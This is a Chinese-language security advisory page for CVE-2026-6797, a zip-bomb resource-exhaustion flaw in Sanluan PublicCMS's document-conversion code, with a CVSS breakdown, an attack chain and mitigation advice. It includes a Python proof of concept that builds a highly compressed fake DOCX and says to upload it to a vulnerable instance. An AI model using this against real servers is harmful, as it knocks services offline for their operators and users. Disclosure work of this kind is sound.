IPBUF安全漏洞报告
English
CVE-2026-6797 CVSS 4.3 中危

CVE-2026-6797 PublicCMS资源消耗漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-6797
漏洞类型
资源耗尽
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sanluan PublicCMS

相关标签

资源耗尽DoSPublicCMSZip BombCVE-2026-6797

漏洞概述

Sanluan PublicCMS 版本 6.202506.d 及之前版本中存在安全漏洞。该漏洞位于文件处理组件 `DocToHtmlUtils.java` 的 `ZipSecureFile.setMinflateRatio` 函数中。由于对压缩文件解压缩比率的限制不当,攻击者可远程利用此漏洞,通过上传特制的恶意文件导致服务器资源耗尽,从而引发拒绝服务攻击。目前厂商尚未对此漏洞做出回应。

技术细节

该漏洞的核心机制在于对 ZIP 文件解压缩时的资源限制不足。在 PublicCMS 的文档转换功能中,使用了 Apache POI 库的 `ZipSecureFile` 类来防止解压缩炸弹(Zip Bomb)。然而,受影响的代码在调用 `setMinflateRatio` 方法时,可能设置了过宽松的限制或存在逻辑缺陷,允许攻击者上传高压缩比的恶意文件(如 DOCX)。当系统尝试解析并解压这些文件时,几 KB 的压缩数据可能会解压成数百 MB 甚至 GB 的数据,瞬间耗尽服务器的 CPU 和内存资源。虽然攻击需要低权限(PR:L),但无需用户交互(UI:N)即可通过网络(AV:N)发起攻击,主要影响系统的可用性(A:L)。

攻击链分析

STEP 1
1. Reconnaissance
攻击者识别出目标系统正在使用 Sanluan PublicCMS,且版本低于或等于 6.202506.d。
STEP 2
2. Gain Access
攻击者注册或获取一个低权限账户(PR:L),或者利用匿名接口(如果允许)。
STEP 3
3. Exploitation
攻击者通过文档上传功能,上传包含高压缩比文件的特制文档(如 .docx)。
STEP 4
4. Trigger
服务器尝试解析上传的文档,调用 `DocToHtmlUtils` 中的漏洞函数处理文件。
STEP 5
5. Impact
恶意文件解压消耗大量内存和 CPU,导致服务器响应缓慢甚至崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (PoC) for Resource Consumption # This script generates a malicious ZIP file (e.g., a crafted DOCX structure) # that contains a highly compressed file to trigger the resource exhaustion. import zipfile import io # Create a malicious archive structure # In a real scenario, this would be wrapped in the specific file format expected by the app (e.g., .docx) zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Create a file with repeating patterns to achieve high compression ratio # 10MB of 'A's compresses down to a few KB malicious_content = b'A' * (10 * 1024 * 1024) # Write the content to a file inside the ZIP # The specific filename depends on the target application's parsing logic zf.writestr('media/malicious_image.xml', malicious_content) # Save the generated malicious file malicious_filename = 'exploit_doc.docx' with open(malicious_filename, 'wb') as f: f.write(zip_buffer.getvalue()) print(f"[+] Generated {malicious_filename} containing a Zip Bomb.") print("[+] Upload this file to the vulnerable PublicCMS instance to trigger the DoS.")

影响范围

Sanluan PublicCMS <= 6.202506.d

防御指南

临时缓解措施
在官方未发布修复版本前,建议管理员限制普通用户的文档上传权限,或者临时禁用文档转 HTML 的功能。可以通过配置服务器容器(如 Tomcat)的最大上传大小和超时时间来减轻攻击影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表